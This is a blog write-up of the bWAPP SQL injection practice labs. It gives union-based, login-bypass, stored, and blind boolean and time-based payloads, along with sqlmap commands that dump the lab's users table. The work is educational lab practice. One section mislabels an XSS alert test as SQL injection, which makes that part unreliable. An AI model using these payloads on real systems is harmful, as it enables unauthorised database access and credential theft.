bWAPP SQL Injection (SQLi) Labs — Writeups
Tue Jul 22 2025
bWAPP SQL Injection (SQLi) Labs — Writeups
Originally posted on my Medium page.
bWAPP SQL Injection (SQLi) Labs — Writeups
Introduction: What is SQL Injection (SQLi)?
SQL Injection (or SQLi) is a common and dangerous web application vulnerability. It happens when an attacker is able to insert or “inject” malicious SQL code into a query that an application sends to its database.
This allows attackers to:
- View sensitive information (like usernames and passwords)
- Bypass login pages
- Modify or delete database contents
- Even take full control of the database server in severe cases
Why does it happen?
Because the application takes user input (like form fields or URL parameters) and adds it directly into SQL queries without properly checking or cleaning it.
Example:
If a login form uses this:
SELECT * FROM users WHERE username = 'admin' AND password = '1234';
And an attacker enters this as the username:
' OR '1'='1
The final query becomes:
SELECT * FROM users WHERE username = '' OR '1'='1' AND password = '1234';
Since '1'='1' is always true — the attacker can log in without valid credentials.
bWAPP (Buggy Web Application) is a free, intentionally vulnerable application designed for learning and practicing web security attacks like SQL Injection.
SQL Injection (GET/Search)

This lab has a search bar to look up movie names. It’s vulnerable to SQL Injection.
Check for SQL injection: '
Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘%’’ at line 1
Confirms SQL Injection point and that the backend is MySQL
Find the Number of Columns:
' UNION SELECT NULL, NULL, NULL, NULL, NULL, NULL, NULL -- -

👉 7 columns required to avoid error.
Get database name:
' UNION SELECT NULL, database(), NULL, NULL, NULL, NULL, NULL -- -

bWAPP
List All Tables:
' UNION SELECT NULL, GROUP_CONCAT(table_name), NULL, NULL, NULL, NULL, NULL FROM information_schema.tables WHERE table_schema='bWAPP' -- -

List Columns from users Table:
' UNION SELECT NULL, GROUP_CONCAT(column_name), NULL, NULL, NULL, NULL, NULL FROM information_schema.columns WHERE table_name='users' -- -

Dump Data from users Table:
' UNION SELECT NULL, GROUP_CONCAT(CONCAT_WS(':', id, login, password, email, secret)), NULL, NULL, NULL, NULL, NULL FROM users -- -

👉 Extracted all user credentials and secrets.
SQL Injection (GET/Select)

URL: http://localhost:8080/sqli_2.php
URL is getting changed upon selecting a movie

Checking if the url is vulnerable
http://localhost:8080/sqli_2.php?movie=3%27&action=go (%27 is url encode of ')
Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘’’ at line 1
✅ Confirms the URL parameter is vulnerable to SQLi.
Whenever we enter 1, 2, etc., we get only that specific movie. By observing closely, we noticed that the movie names start with ID 1.
Now, let’s try movie=0 to find the number of columns.
Find Number of Columns:
http://localhost:8080/sqli_2.php?movie=0%20union%20select%201,2,3,4,5,6,7%20—%20-&action=go

👉 Only 2, 3, 4, 5 are reflected in the response.
Dump Data from users Table:

👉 Retrieved all user details (ID, login, password, secret, admin status).
SQL Injection (POST/Search)

Dump data from users table:
Using the same query as in the GET/search challenge..
' UNION SELECT NULL, GROUP_CONCAT(CONCAT_WS(':', id, login, password, email, secret)), NULL, NULL, NULL, NULL, NULL FROM users -- -

SQL Injection (POST/Search)

This vulnerability is similar to GET/SELECT. However, the difference here is that to test for POST/SELECT, we need to capture the request in Burp Suite, send it to the Repeater, and test it using a single quote ('), since the query is not reflected in the URL.

Tested for SQLi with '

Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘’’ at line 1
Received SQL syntax error confirming vulnerability.
Using the same payload as GET/SELECT:
0%20union%20select%201,database(),user(),(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27users%27),5,6,7%20--%20-

Successfully retrieved column names from the users table.
SQL Injection (AJAX/JSON/jQuery)

Using the same query as GET/SELECT, we were able to retrieve data from the users table.
SQL Injection (CAPTCHA)
This is similar to GET/SEARCH, except that a CAPTCHA must be completed before accessing the movie search page.

After solving the CAPTCHA, we’re taken to the movie search page, and the same SQLi payload works in the URL.
SQL Injection (Login Form/Hero)

This challenge requires login.
Using the classic SQLi payload: ' OR 1=1; -- with a random password.
Successfully logged in as the superhero user.

SQL Injection (Login Form/User)

The login form initially appeared to be vulnerable, so test it using the basic payload: ' OR 1=1; -- -.
This returned an invalid credentials error.
Enter a single quote (') in the login field to confirm SQLi.
Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘’’’’ at line 1
✅ SQL Injection confirmed.
Attempting multiple payloads couldn’t result in successful login. So, turn to Sqlmap, which automates SQL injection attacks by testing and extracting data if the target is vulnerable.
To prepare Sqlmap, gather:
- The POST data being sent during login
- The cookie used for the session
Both can be found via browser dev tools → Network tab (Ctrl + Shift + I).


Enumerate Databases:
sqlmap -u "http://localhost:8080/sqli_16.php" --cookie="security_level=0; PHPSESSID=tddqn82n8ifcq12dpgvum4i510" --data="login=jnkjg&password=kjhb&form=submit" -dbs --fresh-queries


Dump the database bWAPP:
sqlmap -u "http://localhost:8080/sqli_16.php" --cookie="security_level=0; PHPSESSID=tddqn82n8ifcq12dpgvum4i510" --data="login=jnkjg&password=kjhb&form=submit" -D bWAPP --tables

Find the number of columns in the users table:
sqlmap -u "http://localhost:8080/sqli_16.php" --cookie="security_level=0; PHPSESSID=tddqn82n8ifcq12dpgvum4i510" --data="login=jnkjg&password=kjhb&form=submit" -D bWAPP -T users --columns

Retrieving the data from users table:
sqlmap -u "http://localhost:8080/sqli_16.php" --cookie="security_level=0; PHPSESSID=tddqn82n8ifcq12dpgvum4i510" --data="login=jnkjg&password=kjhb&form=submit" -D bWAPP -T users -C email,id,login,password,secret --dump

SQL Injection (SQLite)

We can use the same method as in GET/SEARCH. The only difference here is the database: it’s SQLite.
Instead of information_schema (used in MySQL), SQLite uses the sqlite_master table, which contains metadata about all tables in the database.
Like the other challenges, this one also has a users table, which we identified using the sqlite_master table in SQLite.
Payload to retrieve the data from users table:
' UNION SELECT NULL, GROUP_CONCAT(id || ':' || login || ':' || password || ':' || email || ':' || secret), NULL, NULL, NULL, NULL, NULL FROM users -- -
SQL Injection — Stored (Blog)

This is stored SQL injection where user enters the payload and the payload is reflected when the page is loading what the user enters. eg: comments
Let’s enter
<script>alert(1)</script>
to see if the alert is getting reflected.
We have got the alert which tells us that this is vulnerable to SQLi
Booooooommm!!!
SQL Injection — Stored (SQLite)

Testing with a ':

The entry was accepted, but nothing was reflected back in the blog post
Using sqlite enumeration paylod
', (select name from sqlite_master where type='table'));
This payload successfully inserted data, and observed that the table name is blog
With this technique, all the other data can be enumerated.
SQL Injection — Stored (User-Agent)

Reload the page and capture the request with Burp.

By injecting a single quote in the User-Agent header, the server responded differently, confirming SQL injection.
Use the same SQLite payloads to enumerate tables and columns via the User-Agent field.
SQL Injection — Stored (XML)

Reload the page and capture the request with burp.

Send it to the Repeater and insert a single quote (') in the <login> tag to test for SQL injection.

The response returned a MySQL error, confirming the vulnerability.
From here, we can enumerate the database using the same SQL injection techniques demonstrated above.
SQL Injection — Blind — Boolean-Based

This is a boolean-based blind SQL injection, where the server only tells us if a condition is TRUE or FALSE — no actual data is returned.
trying:
' OR 1=1; -- -

Returns:
The movie exists in our database!
This confirms that SQL injection is possible.
To extract table names and data using blind SQL injection, we need to brute-force each character by checking whether a specific letter exists at a certain position in the database name, table name, column name, or actual data.
SQL Injection — Blind — Time-Based

Since this is a time-based SQL injection, we can use SLEEP() to test for vulnerabilities. If the page delays by the specified time, the query executed successfully.
Test payload:
' OR SLEEP(5); -- -
If the page takes ~5 seconds to load, the input is vulnerable.
To extract data, we can use conditional delays:
' OR IF((SELECT COUNT(*) FROM information_schema.columns WHERE table_name='users') = 7, SLEEP(5), 0); -- -
If the delay occurs, it confirms that the users table has 7 columns. We can use similar logic to extract more information.
SQL Injection — Blind (SQLite)

Let’s test if the search bar is vulnerable using:
' OR 1=1 --

The response confirms that the movie exists in the database, indicating SQL injection is possible.
We can now enumerate further using SQLite-specific syntax.
Here, I explored different types of SQL Injection in bWAPP, like boolean-based, time-based, union-based, and stored SQLi on both MySQL and SQLite. Trying them out helped me understand how these attacks actually work and how to spot them.
This is also available on my Medium page and Github — feel free to check it out!